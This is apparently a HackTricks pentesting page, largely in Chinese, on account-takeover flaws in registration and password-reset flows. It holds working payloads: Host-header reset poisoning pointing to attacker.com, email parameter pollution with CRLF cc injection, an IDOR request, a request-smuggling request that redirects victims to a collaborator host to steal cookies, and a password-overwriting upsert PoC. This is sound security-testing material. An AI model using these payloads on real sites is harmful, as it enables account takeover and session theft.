Registration & Takeover Vulnerabilities

Reading time: 9 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

Registration Takeover

Duplicate Registration

  • 尝试使用一个已存在的 username 进行注册
  • 检查变换 email 的不同形式:
  • 大写
  • +1@
  • 在 email 中添加一些点
  • 在 email 名称中使用特殊字符 (%00, %09, %20)
  • 在 email 后放置空白字符:test@test.com a
  • victim@gmail.com@attacker.com
  • victim@attacker.com@gmail.com

Username Enumeration

检查是否能判断某个 username 是否已在应用中注册。

Password Policy

创建用户时检查密码策略(查看是否允许使用弱密码)。
在这种情况下,你可以尝试对凭据进行 bruteforce。

SQL Injection

Check this page 了解如何通过 SQL Injections 在注册表单中尝试 account takeovers 或提取信息。

Oauth Takeovers

OAuth to Account takeover

SAML Vulnerabilities

SAML Attacks

Change Email

注册后尝试更改 email,检查该更改是否被正确验证,或是否能更改为任意 email。

More Checks

  • 检查是否可以使用 disposable emails
  • Long password (>200) 会导致 DoS
  • 检查账号创建的速率限制
  • 使用 username@burp_collab.net 并分析 callback

Password Reset Takeover

Password Reset Token Leak Via Referrer

  1. 向你的 email 地址请求 password reset
  2. 点击 password reset 链接
  3. 不要更改 password
  4. 点击任何第三方网站(例如:Facebook, twitter)
  5. 在 Burp Suite 代理中拦截请求
  6. 检查 referer header 是否会 leak password reset token。

Password Reset Poisoning

  1. 在 Burp Suite 中拦截 password reset 请求
  2. 在 Burp Suite 中添加或编辑以下 headers:Host: attacker.com, X-Forwarded-Host: attacker.com
  3. 使用修改后的 header\ http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
  4. 查找基于 host header 的 password reset URL,例如:https://attacker.com/reset-password.php?token=TOKEN

Password Reset Via Email Parameter

bash
# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

API 参数中的 IDOR

  1. 攻击者需使用自己的账户登录并进入 更改密码 功能。
  2. 启动 Burp Suite 并拦截请求
  3. 将其发送到 repeater 选项卡并编辑参数:User ID/email
    powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})

弱密码重置 token

密码重置 token 应该是随机生成且每次唯一。
尝试判断 token 是否会过期或是否始终相同,在某些情况下生成算法很弱且可被猜测。以下变量可能被算法使用。

  • 时间戳
  • 用户ID
  • 用户邮箱
  • 名和姓
  • 出生日期
  • 加密
  • 仅数字
  • 较短的 token 序列 ( characters between [A-Z,a-z,0-9])
  • token 重用
  • token 过期时间

Leaking Password Reset Token

  1. 通过 API/UI 触发针对特定邮箱的密码重置请求,例如:test@mail.com
  2. Inspect the server response and check for resetToken
  3. 然后在 URL 中使用该 token,例如 https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

通过用户名碰撞重置密码

  1. 在系统上注册一个与受害者用户名相同但在用户名前后插入空格的用户名。例如:"admin "
  2. 使用你恶意的用户名请求密码重置。
  3. 使用发送到你邮箱的 token 重置受害者密码。
  4. 使用新密码登录受害者账户。

The platform CTFd was vulnerable to this attack.
See: CVE-2020-7245

通过 Cross Site Scripting 劫持账户

  1. 在应用或子域中找到 XSS,如果 cookies 被 scope 到父域:*.domain.com
  2. Leak the current sessions cookie
  3. 使用该 cookie 以该用户身份认证

通过 HTTP Request Smuggling 劫持账户

1. 使用 smuggler 检测 HTTP Request Smuggling 的类型 (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. 构造一个请求,将 POST / HTTP/1.1 覆盖为以下数据:
GET http://something.burpcollaborator.net HTTP/1.1 X: 目标是打开重定向,将受害者引导到 burpcollab 并窃取他们的 cookies
3. 最终请求可能如下所示

GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

Hackerone 报告利用此漏洞
* https://hackerone.com/reports/737140
* https://hackerone.com/reports/771666

通过 CSRF 的账户接管

  1. 为 CSRF 创建一个 payload,例如:“HTML form with auto submit for a password change”
  2. 发送该 payload

通过 JWT 的账户接管

JSON Web Token 可能用于对用户进行身份验证。

  • 用另一个 User ID / Email 编辑 JWT
  • 检查是否存在弱的 JWT 签名

JWT Vulnerabilities (Json Web Tokens)

注册即重置 (Upsert on Existing Email)

一些注册处理程序在提供的 email 已存在时会执行 upsert。如果该 endpoint 接受仅包含 email 和 password 的最小 body 并且不强制进行所有权验证,发送受害者的 email 将在未认证状态下覆盖他们的密码。

  • 发现:从捆绑的 JS(或移动应用流量)收集 endpoint 名称,然后使用 ffuf/dirsearch fuzz 类似 /parents/application/v4/admin/FUZZ 的基路径。
  • 方法提示:一个 GET 返回诸如 "Only POST request is allowed." 的消息通常表明正确的请求动词并且预期是 JSON body。
  • 在实战中观察到的最小 body:
json
{"email":"victim@example.com","password":"New@12345"}

示例 PoC:

http
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json

{"email":"victim@example.com","password":"New@12345"}

影响:完全的账户接管 (ATO),无需任何 reset token、OTP 或电子邮件验证。

参考资料

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks